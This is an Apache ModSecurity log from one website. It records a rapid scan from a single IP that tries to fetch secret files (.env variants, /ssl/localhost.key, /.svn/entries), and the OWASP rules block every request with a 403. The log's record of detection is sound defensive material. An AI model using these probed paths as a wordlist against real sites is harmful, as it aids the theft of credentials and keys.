[Sun Oct 25 14:01:41.491220 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at5EBROIqc1eRNCRH2cpCQAAAAc"]
[Sun Oct 25 14:01:41.491464 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at5EBROIqc1eRNCRH2cpCQAAAAc"]
[Sun Oct 25 14:01:41.491733 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at5EBROIqc1eRNCRH2cpCQAAAAc"]
[Sun Oct 25 14:01:41.492705 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at5EBaYYcNPV1bnoekNX8QAAAAQ"]
[Sun Oct 25 14:01:41.492821 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at5EBaYYcNPV1bnoekNX8QAAAAQ"]
[Sun Oct 25 14:01:41.493061 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at5EBaYYcNPV1bnoekNX8QAAAAQ"]
[Sun Oct 25 14:01:41.510401 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at5EBROIqc1eRNCRH2cpCgAAAAc"]
[Sun Oct 25 14:01:41.510591 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at5EBROIqc1eRNCRH2cpCgAAAAc"]
[Sun Oct 25 14:01:41.510802 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at5EBROIqc1eRNCRH2cpCgAAAAc"]
[Sun Oct 25 14:01:41.513443 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.mail"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at5EBRfmy5DaFfyE01WrJgAAABE"]
[Sun Oct 25 14:01:41.513590 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at5EBRfmy5DaFfyE01WrJgAAABE"]
[Sun Oct 25 14:01:41.513810 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at5EBRfmy5DaFfyE01WrJgAAABE"]
[Sun Oct 25 14:01:41.518512 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sendgrid"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at5EBe6EytsuoC67cD91jAAAAAE"]
[Sun Oct 25 14:01:41.518734 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at5EBe6EytsuoC67cD91jAAAAAE"]
[Sun Oct 25 14:01:41.519067 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at5EBe6EytsuoC67cD91jAAAAAE"]
[Sun Oct 25 14:01:41.520648 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at5EBfwFw76qlSfceadvfAAAAAA"]
[Sun Oct 25 14:01:41.520888 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at5EBbc82c1J4zoyxalWoAAAAAI"]
[Sun Oct 25 14:01:41.520964 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at5EBfwFw76qlSfceadvfAAAAAA"]
[Sun Oct 25 14:01:41.521035 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at5EBbc82c1J4zoyxalWoAAAAAI"]
[Sun Oct 25 14:01:41.521268 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at5EBbc82c1J4zoyxalWoAAAAAI"]
[Sun Oct 25 14:01:41.521291 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at5EBfwFw76qlSfceadvfAAAAAA"]
[Sun Oct 25 14:01:41.522250 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ses"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at5EBSjnAS4eJh-ada2NIAAAAA0"]
[Sun Oct 25 14:01:41.522399 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at5EBSjnAS4eJh-ada2NIAAAAA0"]
[Sun Oct 25 14:01:41.522650 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at5EBSjnAS4eJh-ada2NIAAAAA0"]
[Sun Oct 25 14:01:41.522957 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at5EBVY5e6yJWIYGXiqD7AAAAAk"]
[Sun Oct 25 14:01:41.523208 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at5EBVY5e6yJWIYGXiqD7AAAAAk"]
[Sun Oct 25 14:01:41.523545 2026] [security2:error] [pid 2875759:tid 2875759] [client 35.229.22.35:40542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at5EBQ1D5604vyZoHXzbdwAAAAU"]
[Sun Oct 25 14:01:41.523632 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at5EBVY5e6yJWIYGXiqD7AAAAAk"]
[Sun Oct 25 14:01:41.523691 2026] [security2:error] [pid 2875759:tid 2875759] [client 35.229.22.35:40542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at5EBQ1D5604vyZoHXzbdwAAAAU"]
[Sun Oct 25 14:01:41.523955 2026] [security2:error] [pid 2875759:tid 2875759] [client 35.229.22.35:40542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at5EBQ1D5604vyZoHXzbdwAAAAU"]
[Sun Oct 25 14:01:41.524912 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at5EBf1CbQghwAu-zzMCRAAAACA"]
[Sun Oct 25 14:01:41.525059 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at5EBf1CbQghwAu-zzMCRAAAACA"]
[Sun Oct 25 14:01:41.525333 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at5EBf1CbQghwAu-zzMCRAAAACA"]
[Sun Oct 25 14:01:41.526360 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at5EBYIGIq5euXyTbvT1OwAAACQ"]
[Sun Oct 25 14:01:41.526472 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at5EBYIGIq5euXyTbvT1OwAAACQ"]
[Sun Oct 25 14:01:41.526705 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at5EBYIGIq5euXyTbvT1OwAAACQ"]
[Sun Oct 25 14:01:41.538362 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at5EBaYYcNPV1bnoekNX8wAAAAQ"]
[Sun Oct 25 14:01:41.538675 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at5EBaYYcNPV1bnoekNX8wAAAAQ"]
[Sun Oct 25 14:01:41.539033 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at5EBaYYcNPV1bnoekNX8wAAAAQ"]
